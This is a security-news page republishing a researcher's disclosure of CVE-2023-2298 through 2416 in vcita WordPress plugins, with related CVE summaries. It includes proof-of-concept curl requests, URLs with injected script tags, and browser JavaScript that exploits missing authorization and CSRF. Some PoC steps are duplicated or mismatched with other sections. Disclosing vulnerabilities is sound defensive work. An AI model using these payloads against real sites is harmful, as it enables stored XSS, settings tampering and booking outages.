Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-2407: Security Vulnerabilities in WordPress Plugins by vcita – Jonas' Blog

The Event Registration Calendar By vcita plugin, versions up to and including 3.9.1, and Online Payments – Get Paid with PayPal, Square & Stripe plugin, for WordPress are vulnerable to Cross-Site Request Forgery. This is due to missing nonce validation in the ls_parse_vcita_callback() function. This makes it possible for unauthenticated attackers to modify the plugin’s settings and inject malicious JavaScript via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVE
#xss#csrf#vulnerability#web#js#java#wordpress#php#auth

On 02/02/2023 I discovered several security vulnerabilities in the WordPress plugins by vcita and reached out to the company according to responsible disclosure principles. Unfortunately, vcita has not patched the security holes for 120 days. For this reason, I have now opted for public disclosure to warn users.

The following CVEs have been assigned to the security vulnerabilities:

1. CVE-2023-2298 – Online Booking & Scheduling Calendar for WordPress by vcita <= 4.2.10 – Unauthenticated Stored Cross-Site Scripting

2. CVE-2023-2299 – Online Booking & Scheduling Calendar for WordPress by vcita <= 4.2.10 – Missing Authorization on REST-API

3. CVE-2023-2300 – Contact Form Builder by vcita <= 4.9.1 – Authenticated (Contributor+) Stored Cross-Site Scripting

4. CVE-2023-2301 – Contact Form Builder by vcita <= 4.9.1 – Cross-Site Request Forgery to Stored Cross-Site Scripting

5. CVE-2023-2302 – Contact Form and Calls To Action by vcita <= 2.6.4 – Authenticated (Contributor+) Stored Cross-Site Scripting

6. CVE-2023-2303 – Contact Form and Calls To Action by vcita <= 2.6.4 – Cross-Site Request Forgery to Stored Cross-Site Scripting

7. CVE-2023-2404 – CRM and Lead Management by vcita <= 2.6.2 – Authenticated (Contributor+) Stored Cross-Site Scripting

8. CVE-2023-2405 – CRM and Lead Management by vcita <= 2.6.2 – Cross-Site Request Forgery to Stored Cross-Site Scripting

9. CVE-2023-2406 – Event Registration Calendar By vcita <= 1.3.1 & Online Payments – Get Paid with PayPal, Square & Stripe <= 3.9.1 – Authenticated (Contributor+) Stored Cross-Site Scripting

10. CVE-2023-2407 – Event Registration Calendar By vcita <= 1.3.1 & Online Payments – Get Paid with PayPal, Square & Stripe <= 3.9.1 – Cross-Site Request Forgery to Stored Cross-Site Scripting

11. CVE-2023-2414 – Online Booking & Scheduling Calendar for WordPress by vcita <= 4.2.10 – Missing Authorization to Settings Update and Media Upload

12. CVE-2023-2415 – Online Booking & Scheduling Calendar for WordPress by vcita <= 4.2.10 – Missing Authorization to Account Logout

13. CVE-2023-2416 – Online Booking & Scheduling Calendar for WordPress by vcita <= 4.2.10 – Cross-Site Request Forgery to Account Logout

**Online Booking & Scheduling Calendar for WordPress by vcita (4.1 – 4.2.10)
**Stored Cross Site Scripting, Missing Authentication
The plugin uses an unprotected REST route endpoint to set the connection parameters for the vcita account connection. The variables are stored in the database without any validation and are later inserted into the website without any sanitation.

Proof of Concept
1. Attacker sends the following curl request to a website that uses the vcita widget. The request updates the `uid` & `business_id` & `business_name` & `email` variables in the database:
“`curl
curl –request POST \
–url https://example.com/wp-json/vcita-wordpress/v1/actions/auth \
–header ‘Content-Type: application/json’ \
–data ‘{
“success”: true,
“user_data”: {
“business_id”: “\”; alert(1); //”,
“business_name”: “Evil Eve”,
“email”: “[email protected]”
}
}’
“`
2. The injected alert(1) is executed on the live website

Contact Form Builder by vcita (<= 4.9.1)
The plugin does not validate $_GET parameters and stores them directly in the database. These values are later inserted into the page without sanitation. This endpoint also does not have sufficient access control since all users with the edit_posts capability can open it.

Proof of Concept
1. Case A: If the attacker has edit_posts capability on the target website, he opens the following URL: example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>`
Case B: If the attacker does not have the edit_posts capability he tricks an user that does have this capability into opening the URL
2. The email field `a”/><script>alert(1);</script>` is stored in the database
3. When an admin opens the plugin’s settings page (`wp-admin/admin.php?page=live-site`) the alert is triggered.

**Contact Form and Calls To Action by vcita (<= 2.6.4)
**The plugin adds a poorly protected endpoint to set the connection parameters for the vcita account connection. The variables are stored in the database without any validation and are later inserted into the website without any sanitation.

Proof of Concept
1. Case A: If the attacker has edit_posts capability on the target website, he opens the following URL: `example.com/wp-admin/admin.php?page=lead-capturing-call-to-actions-by-vcita/vcita-callback.php&success=true&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>&uid=a”</script><script>alert(2);</script>`

Case B: If the attacker does not have the edit_posts capability he tricks an user that does have this capability into opening the URL mentioned above
2. The fields `email=a”/><script>alert(1);</script>` and `uid=a”</script><script>alert(2);</script>` are stored in the database
3. When a user opens the plugin’s settings page (`/wp-admin/admin.php?page=lead-capturing-call-to-actions-by-vcita/vcita-settings-functions.php`) `alert(1)` is triggered. Any visitor will get `alert(2)` when browsing the infected site.

**CRM and Lead Management by vcita (<= 2.6.2)
**The plugin adds a poorly protected endpoint to set the connection parameters for the vcita account connection. The variables are stored in the database without any validation and are later inserted into the website without any sanitation.

Proof of Concept
1. Case A: If the attacker has edit_posts capability on the target website, he opens the following URL: `example.com/wp-admin/admin.php?page=crm-customer-relationship-management-by-vcita/vcita-callback.php&success=true&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>&uid=a”</script><script>alert(2);</script>`
Case B: If the attacker does not have the edit_posts capability he tricks an user that does have this capability into opening the URL mentioned above
2. The fields `email=a”/><script>alert(1);</script>` and `uid=a”</script><script>alert(2);</script>` are stored in the database
3. When a user opens the plugin’s settings page (`/wp-admin/admin.php?page=crm-customer-relationship-management-by-vcita/vcita-settings-functions.php`) `alert(1)` is triggered. Any visitor will get `alert(2)` when browsing the infected site.

**CRM and Lead Management by vcita (<= 2.6.2)
**The plugin adds a poorly protected endpoint to set the connection parameters for the vcita account connection. The variables are stored in the database without any validation and are later inserted into the website without any sanitation.

Proof of Concept
1. Case A: If the attacker has edit_posts capability on the target website, he opens the following URL: `example.com/wp-admin/admin.php?page=crm-customer-relationship-management-by-vcita/vcita-callback.php&success=true&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>&uid=a”</script><script>alert(2);</script>`

Case B: If the attacker does not have the edit_posts capability he tricks an user that does have this capability into opening the URL mentioned above

2. The fields `email=a”/><script>alert(1);</script>` and `uid=a”</script><script>alert(2);</script>` are stored in the database
3. When a user opens the plugin’s settings page (`/wp-admin/admin.php?page=crm-customer-relationship-management-by-vcita/vcita-settings-functions.php`) `alert(1)` is triggered. Any visitor will get `alert(2)` when browsing the infected site.

**Event Registration Calendar By vcita (<= 1.3.1)
**The plugin adds a poorly protected endpoint to set the connection parameters for the vcita account connection. The variables are stored in the database without any validation and are later inserted into the website without any sanitation.

Proof of Concept
1. Case A: If the attacker has edit_posts capability on the target website, he opens the following URL: `example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>&uid=a`
Case B: If the attacker does not have the edit_posts capability he tricks an user that does have this capability into opening the URL mentioned above
2. The fields `email=a”/><script>alert(1);</script>` and `uid=a”</script><script>alert(2);</script>` are stored in the database
3. When a user opens the plugin’s settings page (`/wp-admin/admin.php?page=crm-customer-relationship-management-by-vcita/vcita-settings-functions.php`) `alert(1)` is triggered.

**Online Payments – Get Paid with PayPal, Square & Stripe (<= 3.9.1)
**The plugin adds a poorly protected endpoint to set the connection parameters for the vcita account connection. The variables are stored in the database without any validation and are later inserted into the website without any sanitation.

Proof of Concept
1. Case A: If the attacker has edit_posts capability on the target website, he opens the following URL: `example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>`
Case B: If the attacker does not have the edit_posts capability he tricks an user that does have this capability into opening the URL mentioned above
2. The email field `a”/><script>alert(1);</script>` is stored in the database
3. When an admin opens the plugin’s settings page (`wp-admin/admin.php?page=live-site`) the alert is triggered (vcita has to be connected) In Case B if an admin opens the link the site will redirect directly to the infected page.

**Online Booking & Scheduling Calendar for WordPress by vcita (<= 4.2.10)
**This privilege escalation allows any logged-in user (subscriber level is sufficient) to upload an arbitrary number of files to the Media Library.

Proof of Concept
1. Attacker registers on the website.
2. Attacker adds a new input field in his browser: `<input type=”file” name=”my_files[]”>` and selects an image file (vcita_save_settings_callback does check for allowed mime types)
3. Attacker opens the browser’s developer tools and runs the following JavaScript:
const input = document.querySelector(‘input[type=”file”]’);
const file = input.files[0];
const formData = new FormData();
formData.append(“widget_img”, file);
const xhr = new XMLHttpRequest();
xhr.open(
“POST”,
“https://example.com/wp-admin/admin-ajax.php?action=vcita_save_settings”,
true
);
xhr.send(formData);
4. Image is now uploaded to the website.

**Online Booking & Scheduling Calendar for WordPress by vcita (<= 4.2.10)
**This privilege escalation allows a logged-in user (subscriber level is sufficient) to log the administrator out of the vcita account. As a result, website visitors will not be able to make appointments and the owner of the website may lose a considerable amount of revenue.
Another attack vector would be to use Cross-Site Request Forgery (CSRF) to manipulate any logged in user to perform the logout.

Proof of Concept
1. Attacker registers on the website.
2. Attacker opens the browser’s developer tools and runs the following JavaScript:
fetch(“/wp-admin/admin-ajax.php?action=vcita_logout”, {
method: “POST”,
headers: {
Accept: “*/*”,
“Content-Type”: “application/json”,
},
});
Alternative: manipulate any logged in user to send a POST request to the server.
3. Website connection with vcita account is deactivated.

Related news

CVE-2023-2414: vcita-ajax-function.php in meeting-scheduler-by-vcita/trunk – WordPress Plugin Repository

The Online Booking & Scheduling Calendar for WordPress by vcita plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the vcita_save_settings_callback function in versions up to, and including, 4.2.10. This makes it possible for authenticated attackers with minimal permissions, such as a subscriber, to modify the plugins settings, upload media files, and inject malicious JavaScript.

CVE-2023-2416: vcita-ajax-function.php in meeting-scheduler-by-vcita/trunk – WordPress Plugin Repository

The Online Booking & Scheduling Calendar for WordPress by vcita plugin for WordPress is vulnerable to Cross-Site Request Forgery due to a missing nonce check on the vcita_logout_callback function in versions up to, and including, 4.2.10. This makes it possible for unauthenticated to logout a vctia connected account which would cause a denial of service on the appointment scheduler, via a forged request granted they can trick a site user into performing an action such as clicking on a link.

CVE-2023-2405: CRM and Lead Management by vcita <= 2.6.2 - Cross-Site Request Forgery to Stored Cross-Site Scripting — Wordfence Intelligence

The CRM and Lead Management by vcita plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.6.2. This is due to missing nonce validation in the vcita-callback.php file. This makes it possible for unauthenticated attackers to modify the plugin's settings and inject malicious JavaScript via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVE-2023-2303: vcita-callback.php in lead-capturing-call-to-actions-by-vcita/trunk – WordPress Plugin Repository

The Contact Form and Calls To Action by vcita plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.6.4. This is due to missing nonce validation in the vcita-callback.php file. This makes it possible for unauthenticated attackers to modify the plugin's settings and inject malicious JavaScript via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVE-2023-2301: Contact Form Builder by vcita <= 4.9.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting — Wordfence Intelligence

The Contact Form Builder by vcita plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.9.1. This is due to missing nonce validation on the ls_parse_vcita_callback function. This makes it possible for unauthenticated attackers to modify the plugin's settings and inject malicious JavaScript via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVE-2023-2300: Contact Form Builder by vcita <= 4.9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting — Wordfence Intelligence

The Contact Form Builder by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 4.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with the edit_posts capability, such as contributors and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVE-2023-2299: Online Booking & Scheduling Calendar for WordPress by vcita <= 4.2.10 - Missing Authorization on REST-API — Wordfence Intelligence

The Online Booking & Scheduling Calendar for WordPress by vcita plugin for WordPress is vulnerable to unauthorized medication of data via the /wp-json/vcita-wordpress/v1/actions/auth REST-API endpoint in versions up to, and including, 4.2.10 due to a missing capability check on the processAction function. This makes it possible for unauthenticated attackers modify the plugin's settings.

CVE-2023-2298: Online Booking & Scheduling Calendar for WordPress by vcita <= 4.2.10 - Unauthenticated Stored Cross-Site Scripting — Wordfence Intelligence

The Online Booking & Scheduling Calendar for WordPress by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'business_id' parameter in versions up to, and including, 4.2.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVE-2023-2404: vcita-callback.php in crm-customer-relationship-management-by-vcita/trunk – WordPress Plugin Repository

The CRM and Lead Management by vcita plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 2.6.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with the edit_posts capability, such as contributors and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907